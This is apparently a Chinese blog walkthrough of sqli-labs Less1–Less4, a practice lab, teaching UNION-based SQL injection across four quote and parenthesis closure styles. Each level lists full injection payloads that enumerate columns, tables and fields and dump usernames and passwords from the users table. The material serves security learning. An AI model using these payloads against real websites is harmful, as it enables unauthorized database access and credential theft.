sqli-labs-union联合查询(Less1-Less4)

union联合查询:(字符型)(数值型)(括号+单引号)(括号+双引号)

利用 SQL 语言中的 UNION 操作符,将攻击者构造的 SELECT 查询语句与原始程序的 SELECT 语句的结果合并,从而将我们想要获取的数据库信息(如账号密码、表名等)直接回显到网页上。

地位 :属于**"有回显"**的注入类型,是最直接、最高效、也是面试最爱问的经典注入手法

Less1(字符型):

bash 复制代码
-- 判断注入
?id=1' --+
-- 查字段数
?id=1' ORDER BY 3 --+
--判断回显位置
?id=-1' UNION SELECT 1,2,3 --+
-- UNION查询
?id=-1' UNION SELECT 1,2,database() --+
-- 爆表
?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1' UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

判断注入类型:字符型注入

查字段数 : 字段数为3

判断回显位置:

UNION查询: security

爆表:emails,referers,uagents,users

爆字段:user_id,first_name,last_name,user,password,avatar,last_login...(等)

爆数据:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin......(等)

Less2(数字型):

根据回显判断是数字型,命令与Less1相同只是闭合符不同:

bash 复制代码
-- 判断注入
?id=1 --+
-- 查字段数
?id=1 ORDER BY 3 --+
--判断回显位置
?id=-1 UNION SELECT 1,2,3 --+
-- UNION查询
?id=-1 UNION SELECT 1,2,database() --+
-- 爆表
?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1 UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

命令展示:

Less3(括号+单引号):

根据回显判断闭合符是括号+单引号,命令与Less1相同只是闭合符不同:

bash 复制代码
-- 判断注入
?id=1') --+
-- 查字段数
?id=1') ORDER BY 3 --+
-- 判断回显位置
?id=-1') UNION SELECT 1,2,3 --+
-- UNION 查询数据库名
?id=-1') UNION SELECT 1,2,database() --+
-- 爆表
?id=-1') UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1') UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1') UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

命令展示:

Less4(括号+双引号):

根据回显判断闭合符是括号+双引号,命令与Less1相同只是闭合符不同:

bash 复制代码
-- 判断注入
?id=1") --+
-- 查字段数
?id=1") ORDER BY 3 --+
-- 判断回显位置
?id=-1") UNION SELECT 1,2,3 --+
-- UNION 查询数据库名
?id=-1") UNION SELECT 1,2,database() --+
-- 爆表
?id=-1") UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+
-- 爆字段
?id=-1") UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' --+
-- 爆数据
?id=-1") UNION SELECT 1,group_concat(username),group_concat(password) FROM users --+

命令展示:

总结:

L1--L4 的本质区别只在闭合方式( ' , 没有闭合符 , ' ) , " ) )共四种

相关推荐
数据库小学妹1 小时前
MySQL binlog格式怎么选?ROW、STATEMENT、MIXED的区别与坑
数据库·mysql·binlog·主从复制·数据一致性
小冯不疯1 小时前
查询旺店通货品策略实战教程:从源系统拉取到轻易云的端到端落地
java·大数据·数据库
域智盾软件2 小时前
文件外发管理:小微、中型、研发涉密,三种环境怎么配
安全·域智盾
RacentCLM2 小时前
HTTPS只在登录时有用?关于TLS的误解讲清
数据库·网络协议·https
杨云龙UP2 小时前
生产实战:Keepalived + Nginx + MySQL 双向复制高可用架构部署与原理详解
运维·数据库·mysql·nginx·架构·keepalived·高可用架构
迪康Defender2 小时前
PHP 高危漏洞应急分析:从风险原理到端点侧纵深防护
运维·开发语言·安全·自动化·php·运维开发·远程工作
安教安全员通关宝2 小时前
2026年四川安全员C2证考试题库+答案+解析
安全
代钦塔拉2 小时前
【C++/Qt 进阶】设计模式系列(7):过滤器模式——把“筛选条件“变成可组合的积木
数据库·系统架构